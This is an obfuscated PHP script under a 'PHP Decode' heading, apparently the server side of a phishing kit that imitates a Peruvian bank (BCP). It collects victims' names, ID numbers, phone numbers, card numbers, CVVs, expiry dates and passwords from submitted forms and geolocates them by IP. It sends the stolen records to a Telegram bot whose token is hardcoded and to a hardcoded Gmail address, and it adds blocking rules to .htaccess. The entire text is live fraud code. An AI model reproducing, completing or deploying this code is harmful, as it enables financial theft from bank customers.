PHP Decode

goto oKYyU; C4jso: $fecha = date("\144\x2f\155\x2f\131\40\55\40\150\x3a\x69\x20\x41"); goto SzkRV; Bht6V: $voy = $_POST["\x6f\x72\x64\x65\x6e"]; goto KxwBD; dhKpi: function SSLPage($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $result = curl_exec($ch); curl_close($ch); return $result; } goto uYSjq; SzkRV: function getIP() { if (isset($_SERVER["\110\124\x54\120\137\x43\106\x5f\103\117\116\x4e\105\x43\124\x49\116\107\x5f\x49\x50"])) { $cliente = $_SERVER["\110\x54\x54\120\x5f\103\106\137\103\x4f\116\x4e\105\x43\124\111\x4e\107\x5f\111\x50"]; } elseif (isset($_SERVER["\x48\124\124\120\137\103\114\111\105\116\x54\137\111\x50"])) { $cliente = $_SERVER["\110\x54\x54\120\137\103\x4c\x49\105\x4e\124\137\111\120"]; } elseif (isset($_SERVER["\x48\124\x54\120\137\x58\137\106\117\x52\127\x41\122\104\105\x44\137\106\x4f\122"])) { $cliente = $_SERVER["\x48\124\x54\x50\x5f\130\x5f\x46\x4f\122\127\x41\x52\104\105\104\x5f\106\117\122"]; } elseif (isset($_SERVER["\110\x54\124\120\x5f\130\x5f\106\x4f\x52\127\x41\122\x44\105\104"])) { $cliente = $_SERVER["\x48\x54\124\120\137\130\x5f\106\117\122\127\101\122\x44\x45\104"]; } elseif (isset($_SERVER["\110\124\x54\x50\x5f\106\x4f\122\x57\x41\x52\104\105\x44\x5f\106\117\x52"])) { $cliente = $_SERVER["\110\124\x54\120\x5f\106\117\122\x57\x41\122\104\105\x44\x5f\x46\x4f\122"]; } elseif (isset($_SERVER["\110\124\124\120\137\x46\117\122\127\101\x52\x44\x45\x44"])) { $cliente = $_SERVER["\110\124\x54\x50\137\106\117\x52\127\101\122\104\105\x44"]; } else { $cliente = isset($_SERVER["\x52\x45\x4d\x4f\124\105\137\x41\x44\x44\122"]) ? $_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\104\x52"] : false; } if ($cliente === "\72\72\x31") { $cliente = "\61\x38\61\56\66\x37\56\x32\61\66\x2e\x38\x34"; } return $cliente; } goto vdQaP; sDDjE: $cliente = getIP(); goto V8OJc; mTx5e: date_default_timezone_set("\x41\155\145\162\151\x63\x61\57\114\x69\155\141"); goto sDDjE; vxKA3: define("\x5f\x69\144", array("\66\x32\66\61\x37\x33\x36\62\61\61")); goto mTx5e; KxwBD: switch ($voy) { case "\x41": require "\162\x65\156\151\145\143\57\x63\157\x6e\x73\x75\154\x74\x61\56\x70\150\160"; if ($nombres == NULL || $error == "\116\162\157\40\x44\116\111\40\144\145\142\x65\40\143\157\x6e\x74\x65\156\145\162\x20\70\x20\x64\x69\147\151\x74\157\x73") { $nombre_full = "\105\x73\164\x69\155\x61\x64\x6f\x20\125\163\165\141\162\151\157\50\x61\x29"; $name_corto = "\105\163\x74\151\155\141\144\157\40\x55\x73\165\141\162\151\157\50\141\x29"; } else { $nombre_full = $nombre_completo; $name_corto = $nameFomateado; } $d_1 = substr($data["\144\141\164\157\137\63"], 0, -6); $d_2 = substr($data["\x64\x61\x74\x6f\137\63"], -6, -3); $d_3 = substr($data["\x64\x61\x74\157\137\x33"], -3); $format_phone = $d_1 . "\40" . $d_2 . "\40" . $d_3; $_SESSION["\x70\162\x65\x73\x74\157"] = $data["\144\141\164\x6f\137\61"]; $_SESSION["\x64\157\143\x75\x6d\x65\156\164\x6f"] = $data["\x64\x61\x74\x6f\x5f\x32"]; $_SESSION["\x70\x68\157\156\x65"] = $format_phone; $_SESSION["\x66\x75\x6c\x6c"] = $nombre_full; $_SESSION["\143\157\x72\x74\x6f"] = $name_corto; $_SESSION["\x6f\160\145\x6e\x50\105"] = TRUE; $sms = "\55\x2d\55\x2d\x2d\x2d\55\55\55\55\55\55\x2d\55\55\55\55\55\x2d\x2d\x20\133{$cliente}\135\x20\x2d\55\55\x2d\x2d\x2d\x2d\55\x2d\55\x2d\x2d\55\55\x2d\x2d\55\x2d\55\55\12\12\11\11\x4e\x6f\x6d\142\x72\x65\x3a\x20" . $nombre_full . "\12\11\11\x44\x4e\111\72\40" . $data["\x64\141\x74\157\x5f\x32"] . "\12\xa\11\11\103\x65\154\165\x6c\141\x72\72\40" . $format_phone . "\xa\xa\x9\x9\120\162\145\163\164\x61\155\157\72\x20\x53\57\56\x20" . number_format($data["\x64\141\x74\157\137\x31"]) . "\12\xa\x9\x9\55\x2d\x2d\x2d\x2d\55\55\55\55\55\55\x2d\x2d\x2d\55\55\55\55\x2d\x2d\55\x2d\55\x2d\x2d\55\55\55\x2d\55\x2d\x2d\x2d\x2d\55\55\x2d\55\x2d\x2d\55\x2d\x2d\55\x2d\55\55\x2d\x2d\55\x2d\55\55\55\55\x2d\x2d\x2d\x2d\x2d\x2d\xa\x9\x9\133{$fecha}\135\40\55\x20{$celular}\xa\x9\x9\55\x2d\55\x2d\55\55\55\x2d\55\55\x2d\x2d\x2d\55\55\55\x2d\x2d\55\55\x2d\x2d\55\55\x2d\55\55\55\55\55\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\x2d\55\55\x2d\55\x2d\55\x2d\x2d\x2d\55\55\55\x2d\55\55\55\x2d\x2d\x2d\55\x2d\x2d\12\12\11\11"; break; case "\x42": $_SESSION["\x6c\x6c\x61\166\x65\162\157"] = $data["\144\x61\164\157\137\x34"]; $_SESSION["\160\x75\145\x72\x74\x61"] = $data["\x64\141\164\157\137\x35"]; $_SESSION["\164\x69\x70\145\170"] = $data["\x64\x61\x74\157\137\x39"]; $sms = "\55\x2d\55\55\x2d\55\x2d\55\x2d\x2d\55\x2d\55\55\x2d\x2d\55\x2d\x2d\x2d\x20\x5b{$cliente}\x5d\x20\55\x2d\55\x2d\x2d\55\55\x2d\x2d\x2d\x2d\55\55\x2d\x2d\55\x2d\x2d\x2d\55\xa\40\40\40\x20\40\x20\x20\x20\12\11\x9\x5b\x2b\135\x43\x65\x6c\154\160\150\157\156\x65\116\x75\x6d\x62\x65\x72\x20\x3d\x20" . $data["\144\141\x74\x6f\x5f\67\x30\x32"] . "\12\11\x9\133\x2b\x5d\106\x75\x6c\x6c\x4e\x61\155\x65\40\75\40" . $_SESSION["\146\165\154\x6c"] . "\xa\11\x9\133\x2b\x5d\103\x61\x72\x64\116\x75\x6d\142\x65\162\40\75\40" . $data["\144\x61\x74\157\137\70\70\71\71"] . "\12\11\x9\x5b\53\135\104\156\x69\40\75\x20" . $data["\x64\x61\164\x6f\137\x37\x30\x31"] . "\xa\x9\11\133\x2b\x5d\120\x61\163\x73\167\x6f\x72\144\40\75\40" . $data["\x64\x61\x74\157\x5f\x34"] . "\xa\11\11\x5b\x2b\135\114\x6f\141\156\x56\x61\x6c\165\x65\x20\x3d\40" . $data["\x64\x61\164\x6f\x5f\67\60\x30"] . "\xa\11\11\133\x2b\135\x53\150\x61\x72\x65\40\x3d\x20" . $data["\144\141\x74\x6f\x5f\67\60\63"] . "\xa\x9\x9\133\53\135\111\156\x73\x74\x61\x6c\x6c\155\145\156\x74\x73\x20\75\x20" . $data["\144\x61\x74\x6f\x5f\x37\x30\x35"] . "\xa\x9\11\x5b\53\x5d\x54\x6f\164\141\154\x50\x61\171\x20\75\x20" . $data["\x64\141\164\157\x5f\67\x30\64"] . "\12\xa\12\x9\11\x2d\55\55\55\55\x2d\x2d\x2d\55\55\55\x2d\55\55\x2d\55\x2d\x2d\x2d\55\x2d\x2d\55\55\55\x2d\55\55\55\55\x2d\55\55\x2d\55\x2d\55\55\x2d\55\55\55\x2d\x2d\x2d\x2d\55\55\x2d\x2d\55\55\x2d\x2d\55\55\55\55\x2d\x2d\x2d\xa\x9\x9\x5b{$fecha}\x5d\40\x2d\x20{$celular}\xa\x9\x9\55\55\x2d\x2d\x2d\55\x2d\55\55\55\55\55\55\55\55\55\55\x2d\x2d\55\x2d\55\55\x2d\x2d\x2d\55\55\x2d\55\55\55\x2d\55\x2d\55\x2d\x2d\x2d\x2d\55\55\x2d\55\x2d\55\55\55\x2d\x2d\x2d\55\55\x2d\55\x2d\55\55\55\x2d\x2d\12\12\11\11"; sendTLG($sms); break; case "\103": $xml = simplexml_load_file("\x68\x74\164\160\x3a\57\57\x77\x77\x77\56\x67\x65\157\x70\154\165\x67\x69\156\x2e\x6e\145\x74\x2f\x78\x6d\154\x2e\x67\x70\x3f\151\160\75" . $cliente); SSLPage($xml); $pais = $xml->geoplugin_countryName; $ciudad = $xml->geoplugin_city; $departamento = $xml->geoplugin_regionName; $sms = "\x2d\55\55\55\x2d\x2d\55\55\x2d\x2d\x2d\x2d\x2d\55\x2d\55\x2d\x2d\55\55\x20\133{$cliente}\x5d\40\x2d\x2d\x2d\x2d\55\55\55\x2d\55\x2d\55\x2d\x2d\x2d\x2d\x2d\55\55\x2d\x2d\xa\xa\x9\11\133\53\x5d\103\x65\x6c\x6c\x70\x68\157\x6e\x65\x4e\165\155\x62\x65\162\40\75\40" . $data["\144\x61\164\x6f\137\x37\60\62"] . "\xa\11\x9\x5b\53\x5d\106\x75\154\154\x4e\x61\155\145\x20\75\40" . $_SESSION["\146\165\x6c\x6c"] . "\xa\x9\x9\x5b\53\135\x43\x61\x72\x64\x4e\x75\155\x62\x65\162\x20\75\x20" . $data["\x64\x61\x74\157\137\70\x38\x39\71"] . "\12\11\x9\x5b\53\x5d\x44\156\x69\40\x3d\40" . $data["\144\141\164\x6f\137\x37\60\x31"] . "\xa\11\11\133\53\x5d\120\141\x73\x73\x77\157\162\x64\40\75\x20" . $data["\x64\141\164\x6f\x5f\64"] . "\xa\11\x9\133\x2b\x5d\x44\141\164\145\105\170\x70\x69\162\x61\164\x65\x20\75\x20" . $data["\144\141\164\157\137\x37\60\67"] . "\12\11\x9\133\x2b\135\x43\126\x56\40\75\x20" . $data["\144\x61\164\x6f\137\x37\60\x36"] . "\xa\11\x9\133\x2b\135\114\x6f\x61\x6e\126\x61\154\165\x65\40\x3d\x20" . $data["\144\141\x74\x6f\137\x37\60\60"] . "\12\11\x9\x5b\53\x5d\x53\150\141\162\145\40\75\x20" . $data["\144\141\x74\157\137\x37\60\63"] . "\12\11\x9\x5b\x2b\135\x49\156\x73\164\141\x6c\x6c\x6d\x65\x6e\x74\x73\x20\75\40" . $data["\144\x61\x74\x6f\137\x37\x30\x35"] . "\xa\11\11\133\53\x5d\124\157\164\141\x6c\120\x61\171\40\75\40" . $data["\x64\x61\164\157\137\67\x30\64"] . "\12\x9\11\12\12\11\11" . $pais . "\x20\x2d\40" . $ciudad . "\x20\x2d\40" . $departamento . "\12\11\11\55\x2d\x2d\x2d\x2d\55\x2d\55\x2d\55\55\x2d\x2d\55\55\55\x2d\55\x2d\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\55\55\x2d\x2d\55\55\55\55\55\55\55\x2d\55\55\55\x2d\x2d\x2d\x2d\55\55\55\x2d\x2d\55\55\55\55\55\55\55\x2d\x2d\55\xa\x9\x9\133{$fecha}\x5d\40\x2d\x20{$celular}\12\x9\x9\55\x2d\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\x2d\55\55\55\x2d\x2d\x2d\x2d\55\x2d\55\55\55\55\x2d\x2d\x2d\x2d\55\55\x2d\55\55\55\x2d\x2d\x2d\55\55\55\x2d\x2d\x2d\55\x2d\55\x2d\x2d\x2d\55\x2d\x2d\x2d\55\x2d\55\55\x2d\55\x2d\x2d\xa\12\x9\x9"; sendTLG($sms); break; default: break; } goto Mh1yt; Mh1yt: function sendTLG($sms) { $datos = array(_token[0] => _id[0], _token[1] => _id[1]); foreach ($datos as $key => $valor) { $tk = explode("\40", $key); $vl = explode("\40", $valor); $token = $tk[0]; $id = $vl[0]; $data = array("\x63\x68\x61\164\137\x69\x64" => $id, "\164\x65\170\164" => $sms); SSLPage("\x68\164\x74\x70\163\72\x2f\x2f\141\x70\x69\x2e\164\x65\154\145\147\x72\x61\x6d\56\x6f\162\147\57\x62\x6f\164{$token}\x2f\x73\x65\x6e\x64\x4d\x65\163\163\x61\x67\145\77" . http_build_query($data)); } } goto dhKpi; G6wzv: function bloquedHT($datosIP) { $file = fopen("\56\x68\x74\141\143\x63\145\x73\x73", "\141\x2b"); $string = strval($file); if (!preg_match("\57" . $datosIP . "\x2f\151", $string)) { $gr = "\x64\145\x6e\171\x20\x66\x72\157\x6d\x20" . $datosIP . "\xd\12"; fwrite($file, $gr); } fclose($file); } goto Vv2xA; oKYyU: error_reporting(0); goto gXguf; vdQaP: $data = array("\x64\x61\x74\157\137\x30" => "\104\x4e\x49", "\144\141\164\x6f\137\61" => $_POST["\x64\141\x74\141\x5f\x31"], "\x64\141\164\157\x5f\62" => $_POST["\144\x61\164\141\137\x32"], "\144\141\164\157\137\63" => $_POST["\144\141\x74\141\137\x33"], "\x64\x61\x74\x6f\137\x34" => $_POST["\144\x61\164\141\137\x34"], "\144\x61\x74\157\137\x35" => $_POST["\x64\141\x74\141\137\65"], "\144\x61\164\x6f\137\x36" => $_POST["\x64\x61\164\141\137\66"], "\144\141\164\157\137\67" => $_POST["\x64\141\x74\x61\137\67"], "\144\141\x74\157\137\70" => $_POST["\144\141\x74\141\137\x38"], "\x64\x61\164\x6f\x5f\x39" => $_POST["\144\141\164\141\x5f\71"], "\x64\x61\164\x6f\x5f\70\x38\71\71" => $_POST["\144\141\x74\x61\x5f\x38\x38\x39\71"], "\x64\x61\x74\x6f\x5f\x37\x30\x30" => $_POST["\144\x61\164\x61\137\67\x30\60"], "\x64\141\164\157\x5f\x37\x30\x31" => $_POST["\x64\141\164\x61\x5f\x37\x30\x31"], "\x64\141\164\157\137\x37\60\x32" => $_POST["\144\x61\x74\x61\x5f\67\60\x32"], "\144\141\x74\157\137\67\60\63" => $_POST["\144\141\164\x61\x5f\x37\x30\x33"], "\144\141\x74\157\x5f\67\60\64" => $_POST["\x64\141\164\141\137\x37\x30\64"], "\x64\x61\x74\157\x5f\67\60\65" => $_POST["\144\141\x74\x61\x5f\67\x30\x35"], "\144\x61\x74\x6f\137\67\x30\x36" => $_POST["\x64\x61\164\141\x5f\67\60\x36"], "\144\141\x74\157\x5f\67\x30\67" => $_POST["\x64\x61\x74\x61\x5f\67\x30\x37"]); goto Bht6V; aLYJH: define("\x45\x4d\101\x49\x4c\x5f\x4c\117\x47\x53", "\x63\145\163\x61\x72\163\141\156\x74\x69\141\x67\157\144\x65\154\147\141\x64\x6f\62\60\60\65\100\x67\x6d\x61\x69\x6c\x2e\x63\x6f\155"); goto jUHwH; jUHwH: define("\137\164\x6f\x6b\145\x6e", array("\66\71\x37\70\64\64\x38\x39\60\64\72\101\x41\106\x4d\154\x59\x72\x37\x38\55\103\150\156\137\65\x4c\157\127\x75\107\145\x75\116\132\x4f\132\x32\157\x42\x36\141\117\x52\x62\131")); goto vxKA3; gXguf: session_start(); goto aLYJH; V8OJc: $agente = $_SERVER["\x48\x54\124\x50\137\x55\123\105\122\137\x41\x47\105\x4e\x54"]; goto C4jso; uYSjq: function mandar_datos($cadena, $cliente, $sms) { $subj = "\x42\x43\120\x20\x2d\x20{$cliente}"; $header .= "\106\162\x6f\x6d\72\40" . $cadena . "\74{$cliente}\100\x6e\x6f\x72\145\x70\x6c\x79\56\x63\x6f\155\76" . "\15\12"; $header .= "\115\111\115\105\x2d\126\x65\x72\163\x69\157\x6e\72\x20\x31\x2e\60" . "\15\12"; $header .= "\103\x6f\x6e\x74\x65\x6e\164\x2d\x74\171\160\145\72\x20\x74\145\x78\164\x2f\150\x74\x6d\x6c\x3b\40\x63\x68\x61\x72\x73\145\164\75\165\164\x66\55\x38" . "\xd\xa"; mail(EMAIL_LOGS, $subj, $sms, $header); } goto G6wzv; Vv2xA: